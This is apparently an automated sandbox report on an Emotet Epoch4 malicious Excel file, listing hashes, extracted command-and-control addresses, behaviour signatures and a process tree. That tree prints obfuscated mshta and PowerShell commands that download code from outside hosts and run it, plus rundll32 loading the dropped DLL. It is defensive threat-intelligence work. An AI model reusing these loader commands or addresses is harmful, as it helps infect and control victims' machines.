emotet | 0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c

General

Target

0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c.xls
Size

142KB
MD5

4a6e6eb651b36033ebe4633272c55809
SHA1

b4d909eb36dfd09c9c885ea6b146c6a45fb85bfc
SHA256

0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c
SHA512

fef1420a255b15085b3eb26273f426dba6b557d2d30db435bc17a6ae8ef37f4b13b71b6191aa6fec6161611b0ae5cae96f393e2ad24bda5935c8a834b42d01cb

Score

10^/10

emotet epoch4 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fer.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3216	3916	cmd.exe	68

Blocklisted process makes network request 5 IoCs

flow	pid	Process
31	1688	mshta.exe
38	4004	powershell.exe
40	4004	powershell.exe
42	4004	powershell.exe
49	3972	rundll32.exe

Downloads MZ/PE file

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Fldkmh\hehlwzuvj.kpv	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2336	1688	WerFault.exe	75

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3916	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 16 IoCs

pid	Process
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
2336	WerFault.exe
3972	rundll32.exe
3972	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2336	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE
3916	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 3916 wrote to memory of 1924	3916	EXCEL.EXE	71
PID 3916 wrote to memory of 1924	3916	EXCEL.EXE	71
PID 3916 wrote to memory of 3216	3916	EXCEL.EXE	73
PID 3916 wrote to memory of 3216	3916	EXCEL.EXE	73
PID 3216 wrote to memory of 1688	3216	cmd.exe	75
PID 3216 wrote to memory of 1688	3216	cmd.exe	75
PID 1688 wrote to memory of 4004	1688	mshta.exe	77
PID 1688 wrote to memory of 4004	1688	mshta.exe	77
PID 3220 wrote to memory of 3204	3220	cmd.exe	81
PID 3220 wrote to memory of 3204	3220	cmd.exe	81
PID 3220 wrote to memory of 3204	3220	cmd.exe	81
PID 3204 wrote to memory of 1904	3204	rundll32.exe	82
PID 3204 wrote to memory of 1904	3204	rundll32.exe	82
PID 3204 wrote to memory of 1904	3204	rundll32.exe	82
PID 1904 wrote to memory of 2800	1904	rundll32.exe	83
PID 1904 wrote to memory of 2800	1904	rundll32.exe	83
PID 1904 wrote to memory of 2800	1904	rundll32.exe	83
PID 2800 wrote to memory of 3972	2800	rundll32.exe	84
PID 2800 wrote to memory of 3972	2800	rundll32.exe	84
PID 2800 wrote to memory of 3972	2800	rundll32.exe	84

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0f450bafecb632b74ddccde54cd55f20a344d91a3ac5a6f031aa97113514716c.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3916
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1924
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3216
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1688
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      PID:4004
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3220
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3204
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1904
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Fldkmh\hehlwzuvj.kpv",DWmXoxECayd
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2800
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Fldkmh\hehlwzuvj.kpv",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3972
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1688 -s 1668
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2336

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1904-504-0x0000000005460000-0x0000000005486000-memory.dmp

Filesize
152KB

Download
memory/1904-500-0x0000000005310000-0x0000000005336000-memory.dmp

Filesize
152KB

Download
memory/1904-498-0x00000000052B0000-0x00000000052D6000-memory.dmp

Filesize
152KB

Download
memory/1904-496-0x0000000005130000-0x0000000005156000-memory.dmp

Filesize
152KB

Download
memory/1904-491-0x00000000011C0000-0x00000000011E6000-memory.dmp

Filesize
152KB

Download
memory/2800-501-0x0000000000240000-0x0000000000266000-memory.dmp

Filesize
152KB

Download
memory/3204-489-0x00000000034B0000-0x00000000034D6000-memory.dmp

Filesize
152KB

Download
memory/3916-129-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

Filesize
64KB

Download
memory/3916-543-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/3916-128-0x00007FF8ABF00000-0x00007FF8ABF10000-memory.dmp

Filesize
64KB

Download
memory/3916-119-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/3916-118-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/3916-117-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/3916-116-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/3916-546-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/3916-545-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/3916-544-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/3916-115-0x00007FF8AEA50000-0x00007FF8AEA60000-memory.dmp

Filesize
64KB

Download
memory/3972-516-0x0000000004AE0000-0x0000000004B06000-memory.dmp

Filesize
152KB

Download
memory/3972-518-0x0000000004BD0000-0x0000000004BF6000-memory.dmp

Filesize
152KB

Download
memory/3972-514-0x00000000049F0000-0x0000000004A16000-memory.dmp

Filesize
152KB

Download
memory/3972-512-0x0000000004910000-0x0000000004936000-memory.dmp

Filesize
152KB

Download
memory/3972-510-0x0000000004830000-0x0000000004856000-memory.dmp

Filesize
152KB

Download
memory/3972-505-0x0000000000C10000-0x0000000000C36000-memory.dmp

Filesize
152KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads